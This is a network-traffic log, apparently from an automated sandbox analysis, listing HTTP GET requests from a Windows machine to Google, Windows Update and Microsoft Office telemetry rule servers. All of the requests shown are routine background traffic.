Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MYn8CAYCdhtnceW&MD=1P+6sxtW HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MYn8CAYCdhtnceW&MD=1P+6sxtW HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
